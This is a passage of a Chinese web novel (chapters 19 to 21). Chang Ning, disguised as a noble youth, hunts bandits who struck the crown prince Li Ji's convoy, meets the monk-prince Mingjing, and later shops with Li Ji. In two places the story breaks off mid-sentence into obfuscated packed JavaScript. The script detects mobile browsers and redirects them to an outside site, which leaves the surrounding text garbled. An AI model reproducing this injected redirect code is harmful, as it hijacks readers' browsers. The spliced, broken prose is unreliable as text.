这风带起了好大的尘土，常宁眼明心亮，当即展袖遮住了明玉的脸，一手在鼻前扇扇，“什么风。” 常宁想骂妖风呢，又觉得在寺里说不雅，只微眯着眼观察。 远远一道人影从高崖上掠下来，灰蓝长袍飘散，墨发飞舞，不带斜一眼众人，眨眼间便点地飞远了。 好轻功。 待风小些，常宁看向小沙弥，好奇道：“这是谁？他也穿你们的僧袍，怎么在这禁地里？” “阿弥陀佛，”小沙弥立掌胸前，闭一闭眼，复而昂首，“明净师叔是师祖收的俗家弟子，师祖令师叔在此带发修行。” 常宁也觉稀奇，“天下真是无奇不有。他一个人在这儿，与鸟兽山林为伴，想必心境也自然淳朴，近于大道了，怪道有这样好的功夫。” 小沙弥一笑：“施主所言，是极。” 如小沙弥修行不到家，师父至多将他一个人放入山林三五天。时日一久，就要上山寻他。如明净师叔这般，一人独居，成月成年地不与人来往，必然心窍满盈。 常宁想着的，却是张侍玉。 侍玉的轻功虽比方才那位师傅略逊一筹，剑术却精妙无双，在常宁许多江湖朋友中，也能排在前列。 …… 转回京都的路上，常宁先是骑马。 神龟暂时养鱼水缸中，放在马车上，周围有数百卫士看守。 李稷周围的带甲卫士也不少，层层叠叠，一路上甚至无需开道，行人听到响天震地的马蹄声，早就惊惶地避开了。 按这速度，不到半日功夫，就能抵达魏都。只是这样不过心地赶路，风尘仆仆，身体劳累了，常宁一夜未眠的坏处就凸显上来，止不住地困。 常宁放慢了马速，与刘总管并排行走，“总管，你们先行，我晚一步。” 刘总管细目微撑，惊见常宁一副眼都睁不开的模样，忙道：“常伴读，这可不大好。荒山野岭的，遇上匪徒可怎么办？” 常宁笑笑：“调给我几个护卫就是。京都附近，天子脚下，能出什么了不得的土匪？” 她更想进队伍后面的马车里歇一歇，但队伍正在行进，马车一停，势必影响后面人行进，易出乱子。若是为她专门叫停，也太不值当。 李稷掀开车帘，对刘总管招了招手。 刘总管含笑请常宁稍等他一二，纵马到李稷窗前，边听李稷讲话，边看常宁一眼，点了点头。 他又骑着马，从侧边留出的夹道往回赶，到末尾开始叫停。 常宁又见李稷撩了车帘对她说话，让她过去。 “殿下，怎么了？” 李稷道：“进来。” 常宁也大致摸清了他的路子，脸颊爆红，一直蔓延到脖根。 李稷伸手一指铺着雪白毡毛垫的车舆，小太监又捧进来几层新软垫，“凑合一会儿，戌时前就能到魏都。” 车马停了一刻钟，就又动起来。 常宁窘得脸热，坐在地上，枕着胳膊把脸埋进车舆上的软垫里。 丢死人了，瞌睡都跑了。 不过马车一动，晃晃悠悠的。常宁一想，又不是她求李稷的，这般松快下来，本是枕胳膊装睡，却真的睡着了。 马车颠得很，常宁原先整张脸都埋在胳膊弯里，后来又被颠得露出小半张脸来，唇角微微翘着。 春天睡觉最容易着凉，李稷拿毯子围在常宁背上，瞧见这笑，不由一怔。 李稷不甚待见兄弟们，不论是皇弟还是堂弟、表弟。 从幼时起，他与两位皇弟兄友弟恭的表象就不纯粹。二皇弟有野望，也有强势的母族；李秩是他胞弟，与他却并不一条心。 皇子每月各种份例都有内务监分配，没那个有胆子敢克扣。但要想更多的，却要在父皇面前争。这明里暗里争来的，和他们从母族带来的，总归不太一样。但争来争去，最终的目的都是一样。 没有血缘的表弟……也好，至少李稷能一直容忍常宁，只要常宁不改弦易张，不投到其他皇弟麾下，他会一直将常宁当做幼弟看待，处处优容。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315139|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > …… 马车猛得停下来，常宁被带得冲车壁上撞去，脑壳生疼。 捂着头坐起来，见李稷手贴在车壁上，帮她挡了一道，连声道谢，“殿下，借剑一用。” 外面乱糟糟，有刀剑相击的打斗声。常宁进马车前，佩剑就被带走了，在李稷车上的暗格中抽出一把剑，提剑就要下去。 总要下去看看局面，才好判断是要死守神龟还是护卫李稷。 李稷拉常宁坐下，摇了摇头。 常宁想着他另有安排，暂时按下出去的心思。 侍卫多，又训练有素、装备精良，倒没叫刺客近了李稷所在的马车。等外面动静渐消，侍卫长跪在外面，垂首后撇，请罪道：“微臣护送不力，宝物为大刀会所窃，虽死犹不足惜，只恳求殿下开恩，让臣戴罪立功，找回宝物。” 刘总管扶着老腰气喘吁吁，“你要咋家怎么说是好？一多半的人手都给你护送宝物，殿下这里才留多少人？这都能把宝物丢了，亏得匪徒打得不是殿下的注意，不然岂不是连殿下都要遭殃？呸呸呸，咋家这嘴！” 侍卫长头埋得愈发低，眼圈也红了，嗓音更加坚定，“求殿下宽宥，再给臣一次机会。” 刘总管叨叨不休，抖着手还想开口数落，李稷道：“侍卫队能被一群匪徒突破，你确实罪不容诛。然多年侍奉，功劳苦劳不止你知，孤亦清楚。念在往日的份上，此次便允了你的请求。若有下次，你知道后果。” 侍卫长自然是感激涕零，一番慷慨陈词，连声表忠。狗屁的大刀会，他早就会过了，此处又是天子脚下，怎么可能如此强横？必要揪出披着人皮的小鬼，在殿下面前还他清白！ 李稷侧首，瞧见常宁沉眸不语，“惊着了？” 常宁摇头：“殿下，不如您先回京，臣和侍卫长留在这儿一同搜寻？” 李稷默了一瞬，颔首应允，点了几个侍卫给常宁。 常宁下了马车，看着侍卫长迅速整起残兵，又是一番热血沸腾的模样，气势浩荡地往山里去，也跟了过去。 待走出一段，李稷的人马也打点好了，远远地朝京都而去。 常宁夹紧马肚，到侍卫长身旁，一同走在队前。 侍卫长带队到山脚下，将整个队伍编成数十组，自己带着最大的一组，遍山搜寻。 因常宁也在，侍卫长便费心叮嘱了一番，提醒常宁万不可掉以轻心，匪徒狠辣，轻视恐要受害。 常宁问：“若是搜不到怎么办？” “必须找到，”侍卫长咬牙切齿，“纵使真找不到，也要缉拿了人。不消殿下动手，我自会到圣上面前谢罪。” “还是先找殿下地好，”常宁一面四处张望，一面回他，“既然殿下准你回来查看，就是惜才。宝物是宝物，英才对殿下，又何尝不是宝物？” 侍卫长逼回热泪，目光一寸寸刮过山林。 常宁心下叹气，宽慰他几句，也认真地找起来。 若是有明净师傅的轻功就好了，蹭蹭几下，一会儿就把林子逛完了。 19. 山野 侍卫长搜山搜得很仔细。 但大刀会的人就像凭空消失一样。 翌日清晨，郑御厨生了火，给常宁烤鱼吃，香味四溢。 侍卫长握剑紧盯向丛林深处，“往里搜。” 明玉随行回魏都了，书剑闻听此语，提着水囊到常宁身边，“少爷喝些水。深林有猛虎蛇虫，咱们不如就止步于此？” “还有侍卫呢，”常宁拍拍他肩膀，“你要不放心，就和郑御厨在这儿等我。” 书剑哪儿能同意，寸步不离地跟着常宁。 四五月的天气，气温逐渐回暖，林中还是冷的。常宁拿剑挑开树枝草叶，看着这未经人踩踏过的痕迹，就猜出没什么人来过。 可侍卫长亲眼看着大刀会往山里退，外面都搜了，遍寻不得，若是连深山里都没有，岂不是人间蒸发了？ 常宁可不信。 兼之这一天里，大刀会连炊烟都没有冒出来，显然是带了足够的干粮，有备而来，绝不止是土匪那么简单。再说，寻常土匪见了声势浩大的一队甲兵，也没几个胆大包天敢上来劫的。 “谁！” 天色渐晚，侍卫长纠集了部将，忽得冷眸将一枚刀刃甩向灌木丛。 “失礼了，请见谅，”灌木后，一位身量魁梧的负刀中年人分叶出来，两指并剑，夹着刀刃。 身后是个小少年，墨发高束，压在竹帽下，抱着把剑，跟着叔叔一起出来。 这人面善，等那中年人叫常宁一声常少爷，常宁便想起来了，“燕叔，你不是往山东去了，怎么在这儿？” 燕绥哈哈大笑，“少爷都长这么高了，与你父亲年轻时真像。”他语气微微沉了些，带着小少年坐在篝火旁，两掌压在膝盖上，“唉，近日北方武林有动荡的苗头，我要赶回风月城告知城主，哪儿知道一路上遭人劫杀。” “什么动荡？”侍卫长曾经在北方武林求过师，见常宁与人相识，观二人体态举止，亦有英姿豪气，不由相问。 燕绥又是一叹，握拳愤懑，“千机阁一夕之间为人所灭。”他语调一转，多了几分忌讳，“不是工部被灭，而是——杀部。” 常宁听不大懂：“千机阁还有杀部？他们不是做机关的吗？” “天下剑客，莫出墨家，”燕绥心绪沉重，“千机阁就承自墨家。墨家有两派，一派以和止攻，一派以杀止攻。早在许多年前，墨家的剑客收钱办事，暗杀之名盛于江湖，令人闻风丧胆。但天下一统后，他们便专研剑道，求取最高武学，让剩下的墨家子弟能安心钻研技艺，做出天下最精湛的机关术。” 常宁知道他们钻研机关术的事，早些年常宁还捐过不少银子，因而更惊讶，“如你所说，谁人能有这样大的本事，一夜之间屠遍杀部？” 这正是燕绥纳闷的地方，“近来魔教势微，早就不在中原了，着实令人生疑。可出了这样的大事，我必须要往风月城去，请城主派人来调查。” 他们不到官府报案，事情又没有传到皇上耳中，皇上自然来不及派人调查。依这情形，只怕他们派人报案，也要武艺出众，否则路上定要遭人截杀。 夜渐深，树叶晃出风声。风中带来些许凉意和潮汽，侍卫长白日搜寻，对周围地形了如指掌，带着众人改换营地，往山洞里去。 举着火把穿行，燕绥忽然一顿，回身朝身后射出几枚暗器，传来数声狼鸣。 漆黑的树林中，闪着许多双幽绿的狼目。 侍卫长指挥士兵作战，与狼群拼杀。如此多的狼，猝然间齐聚在此处，狼目忌惮地凝视着燃烧的火把，又被一种更深的渴望驱使着扑上前。 常宁也提剑去刺去挡，不意群狼宛若杀之不绝、不惧，反而愈挫愈勇。不只是狼，常宁还听到虎啸熊奔，都朝着他们的方向而来。 见鬼。 常宁横剑替那小少年挡了一剑，余光瞧见侍卫长已经在命令士兵布阵，又询问谋士解决之法。 夜黑风高，猛兽四伏，士兵们或多或少负了伤，火光映照在带血的脸庞上。 谋士嗓音低沉：“应当是被下了蛊。” 但他不会解蛊。再者，这么多猛兽，如果都中蛊，也是个棘手的难题。 “为今之计，只有硬杀了。” 燕绥抽空回首：“若是蛊，我能找到背后之人。” 常宁和侍卫长对视一眼，“那就杀。” 猛兽锋利的爪齿、迅捷的速度、强悍的爆发力，放在平时都令人心惊，何况是成群而来。 这座山是皇觉寺的后山，山中禽兽也少见人迹，常宁本不欲大开杀戒。然而不杀，被杀的就是一路同行的士兵。 剑身折射出雪亮剑光，常宁正要躲刺飞扑来的猛虎，忽觉一阵粉末在空中飘散，忙道：“捂住口鼻！” 风吹送着粉末，狂躁的猛兽动作有所停滞，抽动着鼻尖忌惮地看着火把，随后猛地转身而去，一路止不住地咆哮。 常宁拿帕子擦剑上的血，转眸看向四周，最终定在斜刺里一棵树上，笑道：“多谢阁下相救，不如下来一叙？” 那人罩在树影里，看不真切，无声无息，只依稀不屑地撇过了头。若不是常宁按风向特意寻找，只怕也找不到他。 燕绥安抚下侄儿，抱拳一拜，“多谢侠士相救，鄙人燕绥，侠士若有用得到的地方，只管到燕云台，报上我的名号，必定尽力报答。” 他们倒是能杀出去，可这么多兵士，硬打下去，只怕也要折损不少。 侍卫长也谢过，要重金酬谢，怕他觉得受辱，又想他轻功卓绝，看样子居于山林之间，便道：“若阁下需要，我向我家主人引荐阁下。” 那人微微侧头，似是看了侍卫长一眼。侍卫长以为他是感兴趣，正要道出缘由，又被他一句话堵了回去。 “他不敢。” 雨点落在额上，常宁抬头，“我们要去避雨，阁下要一起吗？” 那人飞身下来，眨眼间便到常宁身旁。 侍卫长还要忙着安排伤员，派了人上前带路，觑了眼他的背影。这般狂妄的高人，也怕淋雨？早说嘛。 常宁却看清了他的模样。 灰蓝长袍发带，长眉秀目、广额朱唇。面如美玉，不加修饰，眉眼间淡然无波，又带几分超脱世外的冷酷。 可不就是明净小师傅。 就是话忒少。 一路上，常宁怕他寂寞，会问些无关紧要的 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侍卫长已经安排好各部，回转过来，一看到坐在明亮篝火旁的明净，面色陡然一变，膝盖就要弯下。 明净弹出一枚石子到他膝盖上，迫他起身，冷哼一声。 常宁脸上笑起来，“怎么还跪呢？都吓着小师傅了。” 明净攒眉，眸光看向常宁，“不认得我？” “认得认得，”常宁道，“昨天才见过面，明净师傅嘛。” 明净移开目光。 侍卫长沉默多了，听着燕绥对他讲如何抓获大刀会，也只是干巴巴地应着，不时抬眼看明净，又迅速低头。 “轰隆～” 雷声惊鸣，闪电照得外面亮如白昼。 又是几道雷落下，明净忽然起身要走。 侍卫长连忙抓过雨伞，常宁接过来，“你就在这里。这边这么多侍卫，离不得你，我送伞给他。” 雨这么大，地上泥水滚滚，不大好走。常宁刚出来，靴底、袍角就被泥土染脏了。 明净站在洞口，低眸看常宁一眼，将伞推回去。 常宁问：“你去哪儿？是这边太吵了吗？往右走不到百步，还有个小山洞，我送你过去。” 明净果然往右走，却不带伞，常宁微扯了他手，撑伞盖住他。 每当闪电亮起，明净的手都收紧几分。虽只有短短一瞬，常宁还是察觉到了，道声稍候，提剑从自己袍袖上划下来一条红绸，蒙住明净眼睛系在脑后，笑道：“小师傅别嫌麻烦，实在是听说佛家悲悯，先前我等虽得小师傅搭救，却也着实见了不少血，现下外面还有些猛兽尸骸。” “我能见得血，小师傅却不一样，还是少见地好，免得误了小师傅前程。” 明净不语。 常宁把伞塞进他手里，“劳烦小师傅撑下伞，一会儿就好。” 明净刚接过伞，就被常宁抱起来。 常宁还记得山洞的方位，借着闪电的光走，依稀还能瞧见侍卫长派人来送柴。 “你怎么这么轻？”常宁十分纳闷，这简直还没有一只猫重，“是不是吃斋饭吃的？” 20. 随便拿就是 不怕打雷，怕闪电。 清修的师傅念了一辈子的经，也消除不了对闪电的恐惧吗？ 常宁愁得很，“你不会是用轻功了吧？” 不然她怎么像抱着一缕风一样，一点重量都感觉不到？ 明净抿唇，“别多想。” “那就是天赋异禀了，”用轻功将体重压到几近于无，在常宁看来，简直是做不到的事。 但常宁还是担忧，“小师傅，你既然是俗家弟子，也用不着每天都不沾荤腥，还要长个子呢。” 到了山洞里，又燃了火，常宁准备等不打闪电了再走。侍卫还带来了郑御厨备的菜，有熟有生。 常宁架了水壶烧热水，自己插着郑御厨给的菜烤着吃，看它们滋滋冒油，乐开了花，“要吃吗？” 虽然她手艺不如郑御厨，但常宁觉得也不错。不过她不喜欢吃，太油腻了，遂往肉上撒了点盐和胡椒，用菜叶子裹着吃。 果真是无聊得很。 常宁烤了片莲花白，甜丝丝的，挑了个小的递到明净唇边。 明净避开，“夜里不加餐。” 常宁觉得好笑：“你们规矩还挺多。” 外面雨还在下，电闪雷鸣都渐渐弱了。山洞里只有噼啪的火光和诱人的香味。常宁到最后都累了，烤好了就放起来，等会儿带回去给书剑。 明净兴许是在做晚课，唇瓣翕动念着经，常宁听不真切。 等雨小了，常宁就准备走，忽觉肩上一沉，明净轻轻靠在她肩膀上，呼吸清浅，似乎是睡着了。 常宁目光一顿。 明净蒙着眼睛，面部线条凌厉，看起来好生眼熟。 先前常宁没看出来，眼下一看，其实是像……李稷？ 在皇觉寺带发修行的俗家子弟，那就只有安亲王了。 安亲王是先帝的遗腹子，少时生母云太妃就去了。初时朝臣都怕庆和帝对这位相差近三十岁的幼弟不满，未曾想庆和帝对这位幼弟十分宠爱，不到三岁，就封为安亲王，连庆和帝的皇子皇女都没有这样的殊荣。 不过庆和帝似乎对云太妃有些意见，云太妃逝世后，不入皇陵，反而被埋葬在安亲王的封地里。 常宁没叫醒他，等察觉他在她肩头动了动，低声道：“殿下？醒醒了。” 明净霍然撤下遮眼的绸带，“这里没有殿下。” 常宁应了一声，“明净师傅，天要亮了，我得回去。” 明净：“去哪儿？” 常宁：“不出意外，今日就能回京城。” 这是常宁出门在外的第四天，想念姜夫人了。 她从没有出门这么久。 明净道：“顺路。” 常宁道：“一起。” 如果明净真是安亲王，是李稷的皇叔，那他们碰上了，自然要将人护送回京。 听说安亲王自从清修后，连年节都不回京，只有每年会被圣上召回去念一次经，不过夜就又走了。这次回京，也不知道是为了什么。 燕绥助侍卫长找到了隐匿的大刀会，不过大刀会许多人都服毒自尽了，只有几个被塞了抹布捂嘴的还活着。 他们抢走的宝物，常宁也见到了，是块晶莹剔透的鲜明美玉，夜里会散发柔和的清辉。虽妙，也算得珍宝一件，却比不过神龟。 侍卫小心捧起来，左看右看，长松了口气：“殿下献给陛下的宝物，总算是找回来了。” 常宁就明白了。想来神龟的消息，除了当日在场诸人，其余人都是不知晓的。 燕绥带着侄儿往风月城去，在此就分别了。 等到了京城，常宁也和侍卫长告别，飞奔向家里。 姜夫人正念着常宁，忽见管家来报信，就要起身。常宁已经挑珠帘晃了进来，“娘！” “瘦了，”姜夫人拉常宁坐下，一直打量着常宁，见她衣袖破了、衣角脏着，眼睛都熬夜熬红了，拿帕子给常宁擦脸，“不是去皇觉寺吗？殿下都回来了，你怎么就晚了两天，瞧瞧多受苦。” 常宁惊讶，“娘，我才出去不到四天，怎么就瘦了？殿下有事就先回来了，我回来时下了雨，道路泥泞，衣裳这才脏了。殿下还把郑御厨留给我了，他烧饭可好吃了。” “不说这个，”姜夫人眉眼柔和，“宁宁，以后你的月例要降了。” 常宁如遭雷轰。 姜夫人笑笑：“从前我和你爹不拘着你，但前些日子你在红袖招一掷千金，连陛下都知道了，还把你爹叫进宫里骂了一通。这几个月先委屈你，在外面少用些钱。若是缺什么，也不用屈就，娘给你买，你不要经手。” 常宁咋舌：“我花咱家的钱，他也心疼？” 姜夫人赶常宁回去沐浴休息，一时惆怅。 圣人以国为家，视天下为囊中之物，谁人又能与之争锋？ …… 明净许久未踏足养心殿。 但依旧能看出，养心殿之奢靡，一日盛过一日。 庆和帝揽着美人香肩，笑得开怀，“承恩，朕已经有七个月不见你了。遥想云嫂嫂在世时，也如你一般，立在人前就足矣光耀夺目。” 明净手攥紧一瞬，冷哼道：“这里没有承恩。” 庆和帝仿若未闻，掌心轻抚，让美人安心。 柳公公搬来一张矮凳，放在庆和帝右手边，“王爷一路奔波，还请坐下休息一二。” 明净闭眼，一颗颗拨着腕上佛珠，不理会柳公公，也不去看御案前的荒唐。直到宫妃福身退下，庆和帝用了一蛊清茶。 “承恩，你有事求朕。” “贫僧只是回家。” “呵，”庆和帝笑出声来，“朕的魏都，没有和尚的容身之地。尤其是皇家的和尚，传出去像话吗！” “你要如何？” 庆和帝道：“皇城里只有安亲王，没有求佛的和尚。” “臣弟，告辞。” 这几个字，几乎是从牙里挤出来的。 庆和帝失笑，看着他背影远去，揽镜自顾，瞧见鬓角越积越重的风霜，“这孩子。” 柳公公道：“王爷明年才加冠，还早着呢，这不也回来了。” 庆和帝笑他愚笨，“求神拜佛，他也不想想，谁敢叫他一个龙子凤孙清修一辈子？求他们，不如求朕，偏他犟得很。” 柳公公应是。 庆和帝呼出一口气，“回来也好，等朕给他定下几房如花美眷，他这心也就定下来了。” 柳公公心下怕安亲王不愿意，口上奉承，“可不是。真是岁月如梭，何止是王爷，宫里其他几位殿下也都快到娶亲的年纪了。” 庆和帝低叹：“为父难，为君难，为君父更难。天下多少老父亲，唯有朕一个君父，谁又懂朕的苦楚？” 柳公公：“是，天下没人难得过陛下。也亏得陛下御极，天下臣民才有个安身立命之处。” …… 常宁近日尤其开怀。 英国公整日里钓鱼养花、走亲访友，姜夫人时时外出打理家中产业，常宁又惯会给自己放假，回家时太阳还高高挂着。 小厮们守在府门口，忽见一辆华贵的马车停在门前，甲兵开道，仪仗威武，不禁定睛去看。待见了刘总管，忙将管家叫来，一同拜下。 刘总管笑眯眯叫起身，“你家少爷在哪儿？” 管家道：“在后花园，老奴给殿下带路。”他搜肠刮肚寻思了一番，除了下学比之前早，他家少爷最近也没闹事。可这下学早，据少爷说，是先生提早放学生下学了。 这般想着，他便安心下来。 刘总管知晓李稷喜静，早提点了管家，让人避着些。等到了垂拱门，就挥退管家，随李稷一同入内。 绿柳茵茵，天蓝如湛，朱衣金冠的少年正在假山旁的石子路上练剑。腾越间，红袍翻飞，露出一圈一圈绕在小腿上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347353|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的白绫袜和雪白的中裤。 常宁两指并剑，沿着剑身上移，倦倦的目光随之上移，准备收剑。 无聊透了。 可恶可恶可恶！ 她握剑的手腕都转了转，剑就要插回剑鞘，忽然被一柄斜刺里闪出的剑截住，“殿下？” 李稷颔首，招招凌厉带风，逼得常宁往后退。 常宁笑笑，抬起剑鞘，剑刚收到一半，就被他横剑挑去剑鞘。 收剑是怕伤到李稷，既然他不让，常宁也就随手丢了剑鞘，和他略过几招。 李稷一剑劈来，震得常宁虎口生疼，角度又刁钻，剑风凌厉。常宁原以为他养尊处优，不比他们天天练得好，没想到他力道大得惊人，体力也强悍，常宁接得是汗流滚滚、气喘吁吁。 等李稷的剑抵在常宁下巴上，常宁都不敢动了，嚷嚷道：“认输，认输！点到为止！” 李稷收了剑，瞧常宁一副小命去矣的模样，冷声问道：“下学后怎么不去东宫？” “啊，忘了，”常宁连先生的课都逃了，课业是什么都不知道，哪里还往东宫去。 李稷本是在东宫和宾客商议政事，谁曾想严先生气势汹汹地到他那儿，指责常宁每天下午都借口更衣，溜之大吉。若是这次常宁再不整改，严先生就要告到常宁爹娘耳朵里，告到圣上面前。 耳边太沉寂，常宁心慌，连忙补救：“明天，从明天开始，臣一定去，不会再忘了。” 常宁脚尖踢着石子。 这叫个什么事，写功课都有人催。 又不是要他写。 李稷回头：“你对孤有意见？” 常宁笑笑：“没有没有。” 李稷又问：“你到皇觉寺求的丹药在哪儿？” 常宁感动：“多谢殿下关心，已经用下了。” 李稷转眉，冷哼一声，拔步往前走。 常宁跟着，暗道他脾气太坏，一会儿高兴一会儿生气的，叫人摸不着一点头脑。 “殿下，您不高兴吗？” 刘总管悄悄拉常宁衣袖，使眼色示意常宁别开口。 常宁只好噤声，百无聊赖地坠在后面。 长街上人声喧嚣，热闹极了，常宁心情雀跃，上前一步道：“殿下，我们去多宝阁看看，如何？” 对上这双明亮的桃花眸，李稷的训斥都没了，“带路。” 多宝阁囊括万物，有许多珍宝。他们送到常宁家里的新品，常宁都不太喜欢，每个月都自己来一次，挑些有趣的送给李稚。 小二一见常宁，就叫掌柜过来，领着常宁往光芒璀璨的珠玉那儿去。 常宁挑得开心，李稷偏头一扫，见附近还有些脂粉，也不知常宁是否常买来送给红粉佳人，冷声道：“成日混迹在脂粉堆里，眼里只有珠光宝气，肤浅。” 掌柜的张口就要反驳。美玉不仅配美人，也配君子，就算常少爷真买了脂粉珠宝送姑娘家，也算不上不务正业。 常宁认为李稷是借机泄气，只当做耳旁风，让掌柜给她介绍。 掌柜看着常宁挑出来的两块玉，笑道：“少爷好眼光。左边这块是从昆山天池附近采的，据说能保平安。右边这块玉打的是五色绳，品形华美贵气，据说佩之神清气爽，能让人心情愉悦。” 常宁一时间倒是真选不出来。 放在往日，她一定两个都要。如今月银被扣了，少不得省着点。 “两个都不错，要哪个才好呢？” 李稷不耐，“随便拿一个就是。” 常宁眸子圆睁：“这怎么行？我要买来送你的。”她把两块玉举起来，仔细对比一下，“其实都挺好，不过我觉得右边这块更适合你。” 李稷抿唇，微抬下颌，示意刘总管过去。 刘总管不明所以。 “付银子，两块都要。”刘总管得令，李稷便从常宁手里接过一块，“剩下的你留着。” 21. 一梦 雪亮的剑挑起一张桃花面，晶莹剔透的肌肤上，浮着薄薄一层水光。朱唇吐息，眸光闪烁如星子。 这一次，李稷没有收剑，手握剑柄，一点点抬高。 常宁低眸看剑芒，抬眼看他，弯唇一笑，两指夹住剑刃，躬身躲过，一手持剑刺向李稷的墨玉冠。 李稷挑开常宁的剑，角度刁钻，一剑刺开了常宁的发冠，手腕微颤，转身欲走。 常宁从后面追上来，踮脚揽上他肩膀，歪头和他对视，“你等等我嘛。喏，你都把我的发冠打掉了，要帮我束上的。” 这双桃花眼清波潋滟，看他时泛着点点笑意。 李稷拂开常宁的手，常宁便又凑上来，软声缠着他束发。 许是被缠得紧，李稷竟真的将常宁按在铜镜前，拿着梳子梳常宁的头发，“别动。” 常宁就是动，耸肩对着铜镜笑：“你喜不喜欢我？” 李稷蹙眉，只当未闻，手下动作不停。 常宁语带急切：“你快说嘛，你一定要喜欢我。” 李稷道：“为何？” 常宁回过头，弯眸笑得灿烂：“因为我喜欢你呀。” 他竟将束发梳成了华美的飞天髻。 “啪嗒”一声，梳子坠落在桌上。 李稷猝然惊醒，呼吸粗重不匀，攥紧了身下的床单。 刘总管捧着铜盆进来，湿了巾子，忙过来给李稷擦汗，“哎哟，殿下，这是怎么了？天儿也是热得早，今晚奴才就搬个小冰鉴进来。” 李稷摇头，接过毛巾卷，展开覆在面上，缓了会儿方取下来，“更衣。” 只是个梦。 只是个梦。 …… 常宁最近老老实实上课，认认真真写功课。 兴许是她惹恼了李稷，这几天她到东宫里，不论是用午膳还是做课业，都见不到他的人影。 “表哥！” 常宁正要沿着宫道出宫，忽然听到李稚的声音，惊喜回头，“你能出来了？” 李稚微抬下巴：“当然。父皇还给了我一块令牌呢，喏。” 一块金灿灿的令牌挂在李稚手腕上，李稚笑眯眯，“表哥，有没有人欺负你？我去教训他！” 常宁切了一声，“谁要你帮忙。不过你来都来了，咱们出去转转。” 李稚环顾四周，可算搞清楚了哪里不对，“云策呢？你们俩不是形影不离？” “嘘，”常宁神秘兮兮，等到了马车上，才小声道：“他病了。” 李稚张张唇，说不出话来。 常宁：“我先前也是看他健壮，总觉得他不容易生病。谁曾想——这些天，他话特别少，还总是脸红。我去关心他，他就把脸埋在胳膊里，趴桌子上不理我。唉，我都不敢去看他。” 李稚捂嘴耸肩。 常宁不满：“别笑别笑，快想想办法。云策他还讳疾忌医，昨天我拉着他去看大夫，都到医馆门口了，他脸红得快赶上我衣服了，硬是不进去，转身就跑了。” 李稚笑得眼泪都出来了，“表哥，云策他这是害相思病了，大夫可治不了他。” 常宁托腮，若有所思，“清河，你说，和人亲起来是什么滋味？” 李稚伸手在常宁眼前一挥，“表哥，你既然想，就快些给我找个小嫂子来，到时候不就知道了。” “好呀，”常宁一点李稚额头，又扯扯自己头发，“你看我这头发，谁敢把姑娘嫁给我？” “到时候大家都说，”常宁掐着嗓子，学着乡里讲八卦，“哎哟，那谁谁家的姑娘，被个黄毛拐回家了。哪家的黄毛？咱京城就一个，可不就是清河公主的表哥！” 李稚捧腹大笑，“表哥，你牵扯我做什么！” 话虽如此，李稚还是打眼瞧了瞧常宁的头发。常宁的发色只是比寻常人浅，哪里有常宁说的黄毛那么夸张。 李稚已经许久没出过宫了，背手新奇地看来看去。 她见多了珍宝，反而对寻常玩意十分感兴趣，“表哥，那边在做什么？” 人群围拢，吵吵嚷嚷。常宁往里一望，还是熟人。 秦寿带人，堵住了两个提着竹篮的姑娘家，“少爷就是想看看你们长什么样，揭个面纱还能要了你们的命？哭哭唧唧的，烦死了！” 两个姑娘蒙着面纱，依然能看出来是一主一仆，丫鬟紧紧挽着小姐胳膊。姑娘正值青春年华，只着单调的素衣，鬓间缀几粒珠子，柳眉烟目，已是清丽。 丫鬟带了哭腔：“我摘给你看，求你别为难我家小姐。” 秦寿嗤笑：“一个丫鬟有什么好看的？少爷要看的，是你的主子！” 主仆二人面色俱是一白，听着耳边嗡嗡的讨论声，不由红了眼眶。 秦寿闲闲地看着两人，见那小姐已经捏在了面纱上，指如春笋，白嫩圆润，心情愉悦。 身姿婀娜，气韵柔和，必定是个美人。 就是那丫鬟一直拉着小姐的手，烦人得紧，不然他早见到美人容貌了。 “你这话可不对，”常宁护着李稚，拨开人群挤进来，侧头吩咐宫女侍卫看好李稚，合了折扇拍在手心，笑眯眯走向秦寿，“都是姑娘家，你这登徒子非要缠着看人家脸做什么？无非是自己长得丑咯。” “再说了，姑娘家各有各的可爱之处，你自己看不出来，又笨又肤浅，还要怪人姑娘家，太丢人了吧，啧啧。” 小厮当即要给秦寿撑场子，就要来骂，被秦寿眼疾手快地止住了。 呵，想他秦寿，好不容易想放纵一把，竟然次次都撞上常宁。他是怕常宁吗？和常宁吵吵闹闹不打紧，常宁磊落光明，从不记仇，当场就恩怨两清了。可他和常宁作对几次，那几次都被套了麻袋揍，说和常宁没关系，秦寿都不信。 “既然是常少爷过来，那少爷我就卖你一个面子。我们走！” 常宁挥人散开，眼尖地瞧见两个姑娘竹篮里的绢花，回头问李稚，“你不是喜欢绢花吗？那边就有，你去看看，若是可心，咱们就买一些，也好去玩别的。” 李稚走到两位姑娘面前，见绢花做得惟妙惟肖，已是心喜，放下一枚银锭，“我全要了，不用找。” 她可没提过要绢花，这一听就是表哥想让她买。李稚干得多了，应付起来面不改色，反正花得是表哥的银子，她还能得些有趣的小玩意，乐得开心。 两个姑娘要谢，李稚也都不软不硬地挡了回去，提着两篮子绢花找常宁，“表哥，你快看，真漂亮！” 常宁侧头翻看，也挑出来几个，“这些很配你。” “真的？”李稚接过来看，眉眼弯弯，“表哥，你可不要骗我。” 采音轻轻晃了晃出神的姑娘，看她鬓间碎发随风飘摇，低眉敛目，不由心酸。 这天底下的兄长，怎么就相差这么大呢？ …… 送走了李稚 